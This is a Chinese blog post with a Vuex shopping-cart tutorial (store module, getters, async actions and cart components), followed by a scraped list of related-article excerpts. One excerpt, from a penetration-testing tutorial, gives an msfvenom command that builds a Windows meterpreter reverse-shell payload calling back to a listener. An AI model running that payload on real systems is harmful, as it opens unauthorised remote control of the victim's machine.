vuex购物车案例

store/index.js

// 导入vue
import Vue from 'vue'
// 导入vuex
import Vuex from 'vuex'import cart from './module/cart'Vue.use(Vuex)// 创建仓库store
const store = new Vuex.Store({strict: true,modules: {cart}
})// 导出仓库
export default store

store/modules/cart

import request from '@/utils/request'export default {namespaced: true,state: {// 购物车数据[{},{}]list: []},getters: {total (state) {return state.list.reduce((sum, item) => sum + item.count, 0)},totalPrice (state) {return state.list.reduce((sum, item) => sum + item.count * item.price, 0)}},mutations: {updateList (state, newList) {state.list = newList},// 修改数量updateCount (state, payload) {// 根据id找到要更新的数据const goods = state.list.find(item => item.id === payload.id)//   更新数量goods.count = payload.count}},actions: {async getList (context) {const res = await request.get('/cart')console.log(res)context.commit('updateList', res)},// 修改数量/*请求方式:patch请求地址:http://localhost:3000/cart/:id请求参数{count:值,price:值}*/async updateCountAsync (ctx, payload) {// 修改后端的数据await request.patch('/cart/' + payload.id, {count: payload.count})//   更新vuex的数据ctx.commit('updateCount', payload)}}
}

App.vue

<template><div id="app">
<CartHeader></CartHeader>
<CartItem v-for="item in list" :key="item.id" :item="item"></CartItem>
<CartFooter></CartFooter></div>
</template><script>
import CartHeader from '@/components/cart-header.vue'
import CartItem from '@/components/cart-item.vue'
import CartFooter from '@/components/cart-footer.vue'
import { mapState } from 'vuex'
export default {components: {CartHeader, CartItem, CartFooter},created () {this.$store.dispatch('cart/getList')},computed: {...mapState('cart', ['list'])}
}
</script><style lang="less" scoped>
#app{padding: 50px 0;
}
</style>

components/cart-header.vue

<template><div class="header-container">购物车案例</div>
</template><script>
export default {name: 'CartHeader'
}
</script><style lang="less" scoped>
.header-container {height: 50px;line-height: 50px;font-size: 16px;background-color: #42b983;text-align: center;color: white;position: fixed;top: 0;left: 0;width: 100%;z-index: 999;
}
</style>

components/cart-item.vue

<template><div class="goods-container"><!-- 左侧图片区域 --><div class="left"><img :src="item.thumb" class="avatar" alt=""></div><!-- 右侧商品区域 --><div class="right"><!-- 标题 --><div class="title">{{ item.name }}</div><div class="info"><!-- 单价 --><span class="price">¥{{ item.price }}</span><div class="btns"><!-- 按钮区域 --><button class="btn btn-light" @click="btnClick(-1)">-</button><span class="count">{{ item.count }}</span><button class="btn btn-light" @click="btnClick(1)">+</button></div></div></div></div>
</template><script>
export default {name: 'CartItem',props: {item: {type: Object,required: true}},methods: {btnClick(step) {const newCount = this.item.count + stepconst id = this.item.id// console.log(this.item.id, newCount)this.$store.dispatch('cart/updateCountAsync', { id, count: newCount })}}
}
</script><style lang="less" scoped>
.goods-container {display: flex;padding: 10px;+.goods-container {border-top: 1px solid #f8f8f8;}.left {.avatar {width: 100px;height: 100px;}margin-right: 10px;}.right {display: flex;flex-direction: column;justify-content: space-between;flex: 1;.title {font-weight: bold;}.info {display: flex;justify-content: space-between;align-items: center;.price {color: red;font-weight: bold;}.btns {.count {display: inline-block;width: 30px;text-align: center;}}}}
}.custom-control-label::before,
.custom-control-label::after {top: 3.6rem;
}
</style>

components/cart-footer.vue

<template><div class="footer-container"><!-- 中间的合计 --><div><span>共 {{total}}件商品,合计:</span><span class="price">¥{{ totalPrice }}</span></div><!-- 右侧结算按钮 --><button class="btn btn-success btn-settle">结算</button></div>
</template><script>
import { mapGetters } from 'vuex'
export default {name: 'CartFooter',computed: {...mapGetters('cart', ['total', 'totalPrice'])}
}
</script><style lang="less" scoped>
.footer-container {background-color: white;height: 50px;border-top: 1px solid #f8f8f8;display: flex;justify-content: flex-end;align-items: center;padding: 0 10px;position: fixed;bottom: 0;left: 0;width: 100%;z-index: 999;
}.price {color: red;font-size: 13px;font-weight: bold;margin-right: 10px;
}.btn-settle {height: 30px;min-width: 80px;margin-right: 20px;border-radius: 20px;background: #42b983;border: none;color: white;
}
</style>

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2868983.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

外包干了28天,技术退步明显......

说一下自己的情况&#xff0c;本科生&#xff0c;19年通过校招进入深圳某软件公司&#xff0c;干了接近4年的功能测试&#xff0c;今年年初&#xff0c;感觉自己不能够在这样下去了&#xff0c;长时间呆在一个舒适的环境会让一个人堕落!而我已经在一个企业干了四年的功能测试&a…

python-在图片上标实心圆点

代码&#xff1a; from PIL import Image, ImageDraw# 打开图像 image_path path_to_your_image.jpg image Image.open(image_path)# 创建一个可以在上面绘图的对象 draw ImageDraw.Draw(image)# 设置圆点的坐标和颜色 x 100 # 圆点的x坐标 y 100 # 圆点的y坐标 color …

电商系统秒杀一 秒杀的各种解决方案以及存在的问题

一 业务场景介绍 1.1 正常电商流程 1.2 活动和场次关系 秒杀活动表&#xff1a;sms_flash_promotion DROP TABLE IF EXISTS sms_flash_promotion; CREATE TABLE sms_flash_promotion (id bigint(20) NOT NULL AUTO_INCREMENT,title varchar(200) CHARACTER SET utf8 COLLAT…

【C语言步行梯】各类操作符、类型转换与原码、反码、补码详谈

&#x1f3af;每日努力一点点&#xff0c;技术进步看得见 &#x1f3e0;专栏介绍&#xff1a;【C语言步行梯】专栏用于介绍C语言相关内容&#xff0c;每篇文章将通过图片代码片段网络相关题目的方式编写&#xff0c;欢迎订阅~~ 文章目录 算术运算符原码、反码、补码介绍移位运算…

sparksession对象简介

什么是sparksession对象 spark2.0之后&#xff0c;sparksession对象是spark编码的统一入口对象&#xff0c;通常我们在rdd编程时&#xff0c;需要SparkContext对象作为RDD编程入口&#xff0c;但sparksession对象既可以作为RDD编程对象入口&#xff0c;在sparkcore编程中可以通…

react可视化编辑器 第二章 自由拖动

完整代码 这里介绍 currentDiv 和 useRef的俩中用法&#xff0c;看自己需求使用 import React, {useState,DragEvent,useRef,useEffect,MouseEvent, } from react;interface Demo {id: number;x: number;y: number; }const App: React.FC () > {const [demos, setDemos] u…

RabbitMQ学习总结-基础篇

1..RabbitMQ 本身是一个消息中间件&#xff0c;在服务应用中&#xff0c;可解决高性能&#xff0c;高并发&#xff0c;高应用的问题&#xff0c;极大程度上解决了应用的性能问题。 2.MQ的使用分为生产者和消费者&#xff0c;生产者生产消息&#xff0c;消费者去消费消息。 3.…

管理类联考–复试–政治--二十大--记忆宫殿

文章目录 整体记忆宫殿门床头柜床书桌阳台 口诀记忆法 整体 记忆宫殿 要有逻辑的放到房间了 何为逻辑&#xff0c;如下大佬总结的便是&#xff0c;或者可自行总结&#xff0c;有前后顺序&#xff0c;做事逻辑即可 第一步&#xff1a;将逻辑的点放到房间里的点&#xff0c;…

从零开始搭建游戏服务器 第二节 Actor模型与应用

目录 复习本节内容正文什么是Actor模型如何应用创建Actor基类创建RootActor创建AkkaContext创建ConnectActorManager和ConnectActor生成actor并发送消息给它 课后作业结尾 复习 上一节我们使用gradle构建了一个多模块系统。 并且在登录服启动了Netty服务&#xff0c;监听confi…

渗透测试框架权限维持技术——Persistence模块

测试环境&#xff1a; kali win7 测试步骤&#xff1a; 1.利用MSF编写远控程序 msfvenom -p windows/meterpreter/reverse_tcp lhost10.0.0.163 lport55555 -f exe -o 5555.exe-p 漏洞利用payload lhost 监听地址&#xff08;kali地址&#xff09; lport 监听端口&#xf…

劲仔食品三年倍增,抢先打响鹌鹑蛋“健康”属性品牌之争?

如果说&#xff0c;进入2024年后&#xff0c;在股价继续陷入回调状态的食品板块中有个股走势表现相对亮眼&#xff0c;那么劲仔食品必是其中之一。 从去年发布2023年三季度业绩公告以来&#xff0c;其强劲的业绩表现就带动了股价走出小趋势。2023年10月23日至今2024年3月13日收…

Spring框架-上篇

预备知识&#xff1a;Maven基础 目录 Spring课程介绍为什么学学什么怎么学将学习的Spring技术 Spring Framework系统架构Spring Framework系统架构图Spring Framework学习线路 核心概念小结IoC案例Io入门案例思路分析Ioc入门案例(XML版) DI入门案例DI入门案例思路分析DI入门案…

关于UE的相机震动CameraShake

创建CameraShake资源 CameraShake配置是个蓝图类&#xff0c;我们选择创建BlueprintClass&#xff0c;父类选择CameraShakeBase即可。 参数调整 目前主要用到了 LocationAmplitudeMultiplier 1 LocationFrequencyMultiplier 10 RotationAmplitudeMultiplier 1 Rotation…

云服务器2核4G能支持多少人同时访问?拿本记上!

腾讯云轻量2核4G5M带宽服务器支持多少人在线访问&#xff1f;5M带宽下载速度峰值可达640KB/秒&#xff0c;阿腾云以搭建网站为例&#xff0c;假设优化后平均大小为60KB&#xff0c;则5M带宽可支撑10个用户同时在1秒内打开网站&#xff0c;并发数为10&#xff0c;经阿腾云测试&a…

使用Python IDLE进行Debug调试

1.首先以我的Python版本为例为大家讲解&#xff0c;我的版本是Python 3.7&#xff0c;版本问题对使用情况影响不大。 2.接着我们可以通过新建文件夹来输入我们的代码或者打开我们已有的代码 这里我直接打开已有的代码效果如图&#xff0c;接下来我们如何使用Debug呢&#xff1…

【LLM】LLama2模型(RMSNorm、SwiGLU、RoPE位置编码)

note 预训练语言模型除了自回归&#xff08;Autoregressive&#xff09;模型GPT&#xff0c;还有自编码模型&#xff08;Autoencoding&#xff09;BERT[1]、编-解码&#xff08;Encoder-Decoder&#xff09;模型BART[67]&#xff0c;以及融合上述三种方法的自回归填空&#xf…

【视频图像取证篇】模糊图像增强技术之深度转化类滤波场景应用小结

【视频图像取证篇】模糊图像增强技术之深度转化类滤波场景应用小结 模糊图像增强技术之深度转化类滤波场景应用小结—【蘇小沐】 &#xff08;一&#xff09;转化类滤波器&#xff08;Convert to filter&#xff09; 1、灰度滤波器&#xff08;Gray filter&#xff09; 灰度…

stm32学习——串口通信中的奇偶校验位

常用的校验算法有奇偶校验、校验和、CRC&#xff0c;还有LRC、BCC等不常用的校验算法。 以串口通讯中的奇校验为例&#xff0c;如果数据中1的个数为奇数&#xff0c;则奇校验位0&#xff0c;否则为1。 例如原始数据为&#xff1a;0001 0011&#xff0c;数据中1的个数&#xf…

STM32-Flash闪存

简介 STM32F1系列的FLASH包含程序存储器、系统存储器和选项字节三个部分&#xff0c;通过闪存存储器接口&#xff08;外设&#xff09;可以对程序存储器和选项字节进行擦除和编程。 读写Flash的用途 1.利用程序存储器的剩余空间来保存掉电不丢失的用户数据。 2.通过在程序中…

springboot“涛宝”大学生二手物品交易商城

摘 要 二十一世纪我们的社会进入了信息时代&#xff0c;信息管理系统的建立&#xff0c;大大提高了人们信息化水平。传统的管理方式对时间、地点的限制太多&#xff0c;而在线管理系统刚好能满足这些需求&#xff0c;在线管理系统突破了传统管理方式的局限性。于是本文针对这一…